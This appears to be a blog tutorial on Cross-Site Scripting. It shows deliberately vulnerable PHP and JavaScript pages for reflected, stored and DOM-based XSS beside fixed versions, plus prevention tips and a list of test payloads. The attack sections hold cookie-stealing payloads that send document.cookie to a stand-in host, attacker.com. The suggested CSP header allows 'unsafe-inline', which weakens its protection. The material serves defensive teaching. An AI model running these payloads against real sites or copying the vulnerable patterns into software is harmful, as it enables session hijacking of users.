Thilan Dissanayaka Application Security May 27

XSS - The Ultimate guide for Cross Site Scripting

Cross-Site Scripting (XSS) is one of the most prevalent and dangerous web application security vulnerabilities. According to OWASP, XSS consistently ranks among the top 10 web application security risks. This comprehensive guide explores XSS vulnerabilities through practical PHP examples, demonstrating how attackers exploit these flaws and how developers can prevent them.

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting occurs when an application includes untrusted data in a web page without proper validation or escaping. This allows attackers to execute malicious scripts in victims' browsers, potentially leading to:

  • Session hijacking and cookie theft
  • Credential harvesting through fake login forms
  • Defacement of web pages
  • Redirection to malicious websites
  • Installation of malware or browser exploits
  • Unauthorized actions on behalf of the victim

XSS vulnerabilities arise from a fundamental trust issue: the browser cannot distinguish between legitimate scripts that are part of the application and malicious scripts injected by an attacker.

The Three Main Types of XSS

1. Reflected XSS (Non-Persistent)

The malicious script is reflected off the web server, typically through URL parameters or form inputs that are immediately displayed back to the user.

2. Stored XSS (Persistent)

The malicious script is permanently stored on the target server (in databases, files, or other storage) and served to users when they access the affected page.

3. DOM-based XSS

The vulnerability exists in client-side code rather than server-side code, where JavaScript modifies the DOM environment in the victim's browser.


Reflected Cross Site Scripting

Reflected XSS is the most common form of XSS vulnerability. Here's a vulnerable PHP search functionality:

Vulnerable Code:

<?php
// vulnerable_search.php
?>
<!DOCTYPE html>
<html>
<head>
    <title>Product Search</title>
</head>
<body>
    <h1>Product Search</h1>
    <form method="GET">
        <input type="text" name="query" placeholder="Search products..." 
               value="<?php echo $_GET['query'] ?? ''; ?>">
        <button type="submit">Search</button>
    </form>

    <?php if (isset($_GET['query'])): ?>
        <h2>Search Results for: <?php echo $_GET['query']; ?></h2>
        <p>No products found matching your search criteria.</p>
    <?php endif; ?>
</body>
</html>

Attack Vector:

An attacker could craft a malicious URL like:

http://example.com/vulnerable_search.php?query=<script>alert('XSS Attack!')</script>

When a victim clicks this link, the JavaScript executes in their browser context.

http://example.com/vulnerable_search.php?query=<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie
</script>

This would steal the victim's session cookies and send them to the attacker's server.

Secure Version:

<?php
// secure_search.php
?>
<!DOCTYPE html>
<html>
<head>
    <title>Product Search - Secure</title>
</head>
<body>
    <h1>Product Search</h1>
    <form method="GET">
        <input type="text" name="query" placeholder="Search products..." 
               value="<?php echo htmlspecialchars($_GET['query'] ?? '', ENT_QUOTES, 'UTF-8'); ?>">
        <button type="submit">Search</button>
    </form>

    <?php if (isset($_GET['query'])): ?>
        <h2>Search Results for: <?php echo htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8'); ?></h2>
        <p>No products found matching your search criteria.</p>
    <?php endif; ?>
</body>
</html>

Stored Cross Site Scripting

Stored XSS is more dangerous because the malicious script persists and affects multiple users. Here's a vulnerable comment system:

Vulnerable Code:

<?php
// vulnerable_comments.php
$pdo = new PDO('mysql:host=localhost;dbname=testdb', $username, $password);

// Handle comment submission
if ($_POST['comment'] ?? false) {
    $stmt = $pdo->prepare("INSERT INTO comments (username, comment, created_at) VALUES (?, ?, NOW())");
    $stmt->execute([$_POST['username'], $_POST['comment']]);
    header('Location: vulnerable_comments.php');
    exit;
}

// Fetch comments
$stmt = $pdo->query("SELECT * FROM comments ORDER BY created_at DESC");
$comments = $stmt->fetchAll();
?>
<!DOCTYPE html>
<html>
<head>
    <title>Comment System</title>
</head>
<body>
    <h1>Leave a Comment</h1>

    <form method="POST">
        <input type="text" name="username" placeholder="Your name" required><br><br>
        <textarea name="comment" rows="4" cols="50" placeholder="Your comment" required></textarea><br><br>
        <button type="submit">Post Comment</button>
    </form>

    <h2>Comments:</h2>
    <?php foreach ($comments as $comment): ?>
        <div style="border: 1px solid #ccc; margin: 10px; padding: 10px;">
            <strong><?php echo $comment['username']; ?></strong>
            <p><?php echo $comment['comment']; ?></p>
            <small><?php echo $comment['created_at']; ?></small>
        </div>
    <?php endforeach; ?>
</body>
</html>

Attack Scenario:

An attacker submits a comment containing:

<script>
// Steal cookies from all visitors
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

Every user who visits the page will have their session cookies stolen.

Secure Version:

<?php
// secure_comments.php
$pdo = new PDO('mysql:host=localhost;dbname=testdb', $username, $password);

// Handle comment submission
if ($_POST['comment'] ?? false) {
    // Input validation and sanitization
    $username = trim($_POST['username']);
    $comment = trim($_POST['comment']);

    if (strlen($username) > 50 || strlen($comment) > 1000) {
        $error = "Input too long";
    } else {
        $stmt = $pdo->prepare("INSERT INTO comments (username, comment, created_at) VALUES (?, ?, NOW())");
        $stmt->execute([$username, $comment]);
        header('Location: secure_comments.php');
        exit;
    }
}

// Fetch comments
$stmt = $pdo->query("SELECT * FROM comments ORDER BY created_at DESC");
$comments = $stmt->fetchAll();
?>
<!DOCTYPE html>
<html>
<head>
    <title>Comment System - Secure</title>
</head>
<body>
    <h1>Leave a Comment</h1>

    <?php if (isset($error)): ?>
        <div style="color: red;"><?php echo htmlspecialchars($error); ?></div>
    <?php endif; ?>

    <form method="POST">
        <input type="text" name="username" placeholder="Your name" required maxlength="50"><br><br>
        <textarea name="comment" rows="4" cols="50" placeholder="Your comment" required maxlength="1000"></textarea><br><br>
        <button type="submit">Post Comment</button>
    </form>

    <h2>Comments:</h2>
    <?php foreach ($comments as $comment): ?>
        <div style="border: 1px solid #ccc; margin: 10px; padding: 10px;">
            <strong><?php echo htmlspecialchars($comment['username'], ENT_QUOTES, 'UTF-8'); ?></strong>
            <p><?php echo nl2br(htmlspecialchars($comment['comment'], ENT_QUOTES, 'UTF-8')); ?></p>
            <small><?php echo htmlspecialchars($comment['created_at']); ?></small>
        </div>
    <?php endforeach; ?>
</body>
</html>

DOM-based Cross Site Scripting

DOM-based XSS occurs when client-side JavaScript processes user input unsafely. While the server-side PHP code might be secure, the vulnerability exists in the browser's JavaScript execution.

Vulnerable Code:

<?php
// dom_xss_example.php - Server side is actually secure
?>
<!DOCTYPE html>
<html>
<head>
    <title>Dynamic Content Loader</title>
</head>
<body>
    <h1>Dynamic Page Content</h1>
    <div id="content"></div>

    <script>
        // Vulnerable JavaScript - processes URL fragment unsafely
        function loadContent() {
            var hash = location.hash;
            if (hash) {
                // Remove the # symbol
                var content = hash.substring(1);
                // VULNERABLE: Directly inserting user input into DOM
                document.getElementById('content').innerHTML = 
                    '<h2>Loading: ' + content + '</h2>';
            }
        }

        // Load content when page loads or hash changes
        window.onload = loadContent;
        window.onhashchange = loadContent;

        // Simulate dynamic content loading
        function showSection(section) {
            location.hash = section;
        }
    </script>

    <div>
        <button onclick="showSection('home')">Home</button>
        <button onclick="showSection('about')">About</button>
        <button onclick="showSection('contact')">Contact</button>
    </div>
</body>
</html>

Attack Vector:

An attacker could create a malicious URL:

http://example.com/dom_xss_example.php#<img src=x onerror=alert('DOM XSS')>

The server never sees the fragment (everything after #), but the JavaScript processes it unsafely.

Secure Version:

<?php
// secure_dom_example.php
?>
<!DOCTYPE html>
<html>
<head>
    <title>Dynamic Content Loader - Secure</title>
</head>
<body>
    <h1>Dynamic Page Content</h1>
    <div id="content"></div>

    <script>
        // Secure JavaScript implementation
        function escapeHtml(text) {
            var div = document.createElement('div');
            div.textContent = text;
            return div.innerHTML;
        }

        function loadContent() {
            var hash = location.hash;
            if (hash) {
                var content = hash.substring(1);

                // Whitelist allowed sections
                var allowedSections = ['home', 'about', 'contact'];

                if (allowedSections.includes(content)) {
                    document.getElementById('content').innerHTML = 
                        '<h2>Loading: ' + escapeHtml(content) + '</h2>';
                } else {
                    // Use textContent instead of innerHTML for user input
                    var contentDiv = document.getElementById('content');
                    contentDiv.textContent = 'Invalid section: ' + content;
                }
            }
        }

        window.onload = loadContent;
        window.onhashchange = loadContent;

        function showSection(section) {
            location.hash = section;
        }
    </script>

    <div>
        <button onclick="showSection('home')">Home</button>
        <button onclick="showSection('about')">About</button>
        <button onclick="showSection('contact')">Contact</button>
    </div>
</body>
</html>

Comprehensive Prevention Strategies

1. Input Validation and Sanitization

  • Validate all user input on both client and server side
  • Use whitelisting instead of blacklisting when possible
  • Implement proper data type validation
  • Set reasonable length limits for input fields

2. Output Encoding

  • Always encode output based on the context (HTML, JavaScript, CSS, URL)
  • Use htmlspecialchars() with ENT_QUOTES and UTF-8 encoding
  • For JavaScript contexts, use JSON encoding
  • For URL contexts, use urlencode()

3. Content Security Policy (CSP)

Implement a strong CSP header to restrict script execution:

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'");

4. HTTP Security Headers

// Prevent MIME type sniffing
header('X-Content-Type-Options: nosniff');

// Enable XSS protection
header('X-XSS-Protection: 1; mode=block');

// Prevent framing (clickjacking protection)
header('X-Frame-Options: DENY');

5. Use Template Engines

Modern template engines like Twig automatically escape output:

// Twig template - automatic escaping
{{ user_input }} // Automatically escaped
{{ user_input|raw }} // Only when you explicitly want raw output

6. Sanitization Libraries

For rich content, use libraries like HTML Purifier:

$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($dirty_html);

Testing for XSS Vulnerabilities

Manual Testing Payloads:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
<iframe src="javascript:alert('XSS')"></iframe>

Automated Testing Tools:

  • OWASP ZAP
  • Burp Suite
  • XSSer
  • w3af
ALSO READ
Understanding Assembly Language: Purpose and Structure
Mar 23 Low level Development

Assembly language is a low-level programming language that provides a human-readable representation of a computer's binary instructions. Unlike high-level languages like C, C++, or Python, which are....

CSRF - Cross Site Request Forgery
May 27 Application Security

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It occurs when a malicious website,....

Common Web Application Attacks
May 17 Application Security

Web applications are one of the most targeted surfaces by attackers. This is primarily because they are accessible over the internet, making them exposed and potentially vulnerable. Since these....

OAuth: The Secret Behind
May 17 Application Security

Ever clicked that handy "Sign in with Google" button instead of creating yet another username and password? You're not alone! Behind that convenient button lies a powerful technology called OAuth....

Exploiting a  Stack Buffer Overflow  on Linux
May 11 Exploit development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening.....

How stack works in function call
Mar 23 Application Security

## The Stack in Computer Science The stack is an important concept in computer science. If you are planning to learn reverse engineering, malware analyzing, exploitation, etc., this concept is a....